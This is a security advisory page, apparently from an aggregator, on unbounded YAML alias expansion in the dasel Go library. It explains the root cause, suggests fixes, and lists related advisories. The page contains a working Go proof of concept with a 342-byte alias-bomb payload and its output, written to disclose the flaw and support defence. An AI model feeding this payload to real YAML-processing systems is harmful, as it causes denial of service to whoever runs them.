GHSA-4fcp-jxh7-23x8
GHSA-5cx5-wh4m-82fh
GHSA-642q-3cpq-v266
GHSA-cgcg-q9jh-5pr2
GHSA-h29g-q5c2-9h4f
Severity by source
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own UnmarshalYAML implementation, which manually resolves alias nodes by recursively following yaml.Node.Alias pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit.
The issue issue is on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on the current default branch at commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. It is also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.
Details
In v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8), the reachable call path is:
- The YAML reader is registered in
parsing/yaml/yaml.goand exposed viaparsing.Format("yaml").NewReader() (*yamlReader).Readinparsing/yaml/yaml_reader.go#L23-L48usesyaml.NewDecoderto decode the input. BecauseyamlValueimplementsUnmarshalYAML(*yaml.Node), the decoder passes the raw*yaml.Nodetree to that custom unmarshaler(*yamlValue).UnmarshalYAMLinparsing/yaml/yaml_reader.go#L57-L131walks the Node tree- When an
AliasNodeis encountered, the handler atparsing/yaml/yaml_reader.go#L119-L126recursively callsnewVal.UnmarshalYAML(value.Alias)without tracking expansion count
The root cause is that go-yaml v4 has two decoding paths:
Unmarshalinto Go values: Tracks alias expansion count and rejects documents with excessive aliasing ("yaml: document contains excessive aliasing").Decodeintoyaml.Node/ customUnmarshalYAML: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.
Dasel receives the compact Node tree via its UnmarshalYAML(*yaml.Node) hook and then recursively follows value.Alias pointers, re-expanding aliases without a budget:
case yaml.AliasNode:
newVal := &yamlValue{}
if err := newVal.UnmarshalYAML(value.Alias); err != nil {
return err
}
yv.value = newVal.value
yv.value.SetMetadataValue("yaml-alias", value.Value)With a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.
Test environment:
- MacBook Air (Apple M2), macOS / Darwin
arm64 - Go
1.26.1 - dasel
v3.3.1(fba653c7f248aff10f2b89fca93929b64707dfc8) - go.yaml.in/yaml/v4
v4.0.0-rc.3
PoC
package main
import (
"fmt"
"runtime"
"time"
"github.com/tomwright/dasel/v3/parsing"
_ "github.com/tomwright/dasel/v3/parsing/yaml"
"go.yaml.in/yaml/v4"
)
func main() {
payload := `a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
`
fmt.Printf("Payload size: %d bytes\n", len(payload))
fmt.Printf("Go version: %s\n", runtime.Version())
fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
fmt.Println()
// 1. go-yaml v4 Unmarshal correctly rejects this
fmt.Println("=== Test 1: Direct yaml.Unmarshal (should be rejected) ===")
{
var v interface{}
start := time.Now()
err := yaml.Unmarshal([]byte(payload), &v)
elapsed := time.Since(start)
if err != nil {
fmt.Printf("SAFE: Rejected in %v: %v\n", elapsed, err)
} else {
fmt.Printf("VULNERABLE: Completed in %v\n", elapsed)
}
}
fmt.Println()
// 2. Dasel's YAML reader is vulnerable
fmt.Println("=== Test 2: Dasel YAML reader (VULNERABLE) ===")
done := make(chan string, 1)
go func() {
reader, err := parsing.Format("yaml").NewReader(parsing.DefaultReaderOptions())
if err != nil {
done <- fmt.Sprintf("Error creating reader: %v", err)
return
}
start := time.Now()
_, err = reader.Read([]byte(payload))
elapsed := time.Since(start)
if err != nil {
done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
} else {
done <- fmt.Sprintf("Completed in %v", elapsed)
}
}()
select {
case result := <-done:
fmt.Println(result)
case <-time.After(5 * time.Second):
fmt.Println("CONFIRMED: did not complete within 5s; unbounded alias expansion in progress")
}
}Observed output on v3.3.1 in the test environment above:
Payload size: 342 bytes
Go version: go1.26.1
GOARCH: arm64
=== Test 1: Direct yaml.Unmarshal (should be rejected) ===
SAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing
=== Test 2: Dasel YAML reader (VULNERABLE) ===
CONFIRMED: did not complete within 5s; unbounded alias expansion in progressImpact
An attacker who can supply YAML for processing by dasel can cause denial of service. The library's own UnmarshalYAML handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.
This affects:
- CLI usage: when reading YAML from stdin or files via the CLI
- Library usage: any application using dasel's YAML reader to parse untrusted YAML
- The
parse("yaml", ...)function in selectors
Suggested Fix
One likely fix is to add an alias expansion counter to UnmarshalYAML that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).
AnalysisAI
The dasel YAML reader contains an unbounded alias expansion vulnerability (CWE-674) that allows attackers to trigger extreme CPU and memory consumption through specially crafted YAML documents. Affected versions include dasel v3.0.0 through v3.3.1 and the current default branch. An attacker who can supply YAML input-via CLI, file processing, or library usage-can cause denial of service with a malicious 342-byte payload that fails to complete within 5 seconds and exhibits unbounded resource growth, as demonstrated by the provided proof-of-concept.
Technical ContextAI
Dasel (pkg:go/github.com_tomwright_dasel_v3) is a Go YAML/JSON query and transformation library. The vulnerability exists in the custom UnmarshalYAML(*yaml.Node) implementation in parsing/yaml/yaml_reader.go. When processing YAML via yaml.NewDecoder, go-yaml v4 passes a compact Node tree where alias nodes are pointers to their anchors without expansion. Dasel's UnmarshalYAML handler then recursively follows these yaml.Node.Alias pointers without any expansion budget or counter, bypassing go-yaml v4's built-in alias expansion limit that normally prevents excessive aliasing attacks. This represents a root cause failure in CWE-674 (Uncontrolled Recursion), where recursive alias resolution lacks any throttling mechanism. The vulnerability affects go-yaml.in/yaml.v4 (v4.0.0-rc.3 and compatible versions) when used with Dasel's custom unmarshaling logic.
RemediationAI
Upgrade dasel to the patched version once released by the maintainer (monitor https://github.com/TomWright/dasel for security releases). The suggested fix involves adding an alias expansion counter to UnmarshalYAML that limits total alias resolutions to a threshold (e.g., 1,000,000 expansions), mirroring go-yaml v4's built-in protection mechanism. Until a patch is available, implement input validation to reject YAML documents with excessive aliasing patterns (look for repeated anchor/alias patterns in raw input), restrict dasel usage to trusted YAML sources only, and consider rate-limiting or timeout enforcement around YAML parsing operations. For CLI usage, avoid processing untrusted YAML from stdin or user-supplied files. For library usage, wrap dasel reader calls with strict timeouts and resource limits (ulimit, cgroup constraints). Monitor the official GitHub advisory at https://github.com/advisories/GHSA-4fcp-jxh7-23x8 for patch availability and apply immediately upon release.
An unauthenticated remote code execution vulnerability exists in Remote for Mac, a macOS remote control utility develope
A use-after-free issue was addressed with improved memory management. Rated high severity (CVSS 8.8), this vulnerability
Apple's kernel across all platforms (iOS, macOS, watchOS, visionOS, tvOS) contains a memory corruption vulnerability (CV
Remote code execution in OpenSSH's sshd server (regression of CVE-2006-5051) allows unauthenticated remote attackers to
The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remot
The issue was addressed with improved checks. Rated high severity (CVSS 7.0). Actively exploited in the wild (cisa kev)
A logic issue was addressed with improved restrictions. Rated high severity (CVSS 7.8), this vulnerability is no authent
In Sudo before 1.9.12p2, the sudoedit (aka -e) feature mishandles extra arguments passed in the user-provided environmen
A race condition was addressed with additional validation. Rated high severity (CVSS 7.0), this vulnerability is no auth
This issue was addressed with improved checks. Rated critical severity (CVSS 10.0), this vulnerability is remotely explo
When doing HTTP(S) transfers, libcurl might erroneously use the read callback (`CURLOPT_READFUNCTION`) to ask for data t
When curl < 7.84.0 saves cookies, alt-svc and hsts data to local files, it makes the operation atomic by finalizing the
Same weakness CWE-674 – Uncontrolled Recursion
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-14189